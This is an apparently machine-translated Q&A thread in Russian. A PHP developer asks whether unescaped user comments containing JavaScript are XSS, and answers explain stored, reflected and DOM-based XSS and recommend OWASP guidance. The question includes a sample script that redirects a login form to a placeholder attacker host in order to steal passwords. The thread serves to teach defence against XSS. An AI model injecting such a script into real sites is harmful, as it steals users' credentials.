Является ли пользовательский ввод HTML с Javascript, который отображается другим, но не с HTML-экранированным примером XSS

Я разработчик PHP, и я хочу улучшить безопасность своих сайтов.

Насколько я понимаю, это два основных типа уязвимостей, которые влияют на веб-приложения:

  • SQL-инъекция
  • XSS

SQL Injection может быть исправлена ​​с помощью подготовленных операторов – легко.

Но я по-прежнему не получаю XSS – это следующий пример XSS? …

  • Страница полного пользовательского контента имеет форму входа в систему (вверху сайта).
  • Вход пользователя на страницу не экранирован HTML.
  • Пользователь отправляет следующий контент (например, комментарий) на страницу …
A really nice comment <!-- now an evil script (example here with jquery, but easily done without) ---> <script type="text/javascript"> $(document).ready(function() { $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); }); </script> 
  • Невинный пользователь приходит на страницу, скрипт выполняется.
  • Невинный пользователь понимает, что они не вошли в систему, и введите свои данные в форму.
  • Детали пользователя отправляются на адрес http://somehackysite.com/givemyourpw.php а затем данные учетной записи пользователя украдены.

Поэтому у меня действительно есть три вопроса:

  1. Будет ли это работать?
  2. Это XSS?
  3. Существуют ли какие-либо меры предосторожности, которые разработчики должны предпринять против XSS, кроме как избежать HTML?

Существует два типа атак XSS: отраженные атаки XSS и Persistent XSS. То, что вы описали, где пользователь сайта вводит данные, которые сохраняются на стороне сервера и отображается для любого, кто просматривает страницу, считается Persistent XSS. Подобные атаки будут, если у вас есть поле комментариев на почте, которая не выходит из Javascript, или на странице профиля, в которую я могу что-либо вставить.

Другой класс атак XSS – Reflected XSS. Они немного сложнее, но они составляют один из аргументов в URL-адресе для страницы, которая не экранирована. Они часто появляются в таких вещах, как страницы поиска на больших сайтах. Вы получите URL-адрес, который включает в себя некоторый javascript в нем (извините, мой пример вызван обработчиком здесь, поэтому я не могу показать вам пример), а на странице будет отображаться javascript, который позволит кому-то создавать вредоносные URL. Они особенно опасны на сайтах, которые передают какие-либо финансовые данные; представьте себе добросовестного пользователя, который всегда проверяет, чтобы они перешли на ссылку для записи в свой банк, но из-за атаки Reflected XSS злоумышленник может отправить их на законную страницу на свой веб-сайт своего банка, но имеет злонамеренный код в нем.

В любом случае, ваш пример – Persistent XSS. Вы можете делать даже более гнусные вещи с такими атаками, а не просто менять, когда форма входа отправляет пользователей. Они были популярны годами, чтобы делать такие вещи, как очистка информации из личных областей сайтов или в сочетании с CSRF, чтобы заставить аутентифицированного пользователя что-то делать, просто просматривая страницу. Несколько раз появилось несколько MySpace-вирусов, которые сделали это, и распространялись от профиля к профилю.

Это XSS?

Да, это недостаток инъекции в целом и будет упоминаться как эксплойт XSS в данном конкретном случае, так как это был введенный JavaScript.

Но этот дефект инъекции, когда один пользовательский вход отражается на других пользователях без каких-либо изменений, также может привести к другим атакам, таким как дезактивация .

Будет ли это работать?

Да, очень вероятно, что это сработает, так как исходный сервер служит для этого кода, как и любой другой код на веб-странице. Так что, как автор веб-сайта является создателем этого кода и будет рассматриваться аналогичным образом.

Существуют ли какие-либо меры предосторожности, которые разработчики должны предпринять против XSS, кроме как избежать HTML?

На самом деле существуют три разных типа XSS: DOM на основе XSS , Reflected XSS и Stored / persistent XSS ). Ваш пример – это хранимый / persistend XSS-эксплойт, поскольку сервер развертывает эксплойт с каждым запросом.

Общее правило заключается не в том, чтобы доверять любому пользователю. При этом допускается только допустимый ввод пользователя или ввод данных пользователем (удаление недопустимых значений) или правильное кодирование (преобразование недопустимых значений) перед его выдачей. Для получения дополнительной информации см. Cheat Sheet от OWASP .

это xss, и я считаю, что это тоже javascript-инъекция
поэтому я думаю, что эта ссылка поможет

Да, это пример базовой стойкой атаки XSS. В этой ситуации пользователь может не только украсть учетные данные, но и попытаться заразить посетителей, или спамить ссылки через ваш сайт.

OWASP XSS Prevention Guide – хорошее начало. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet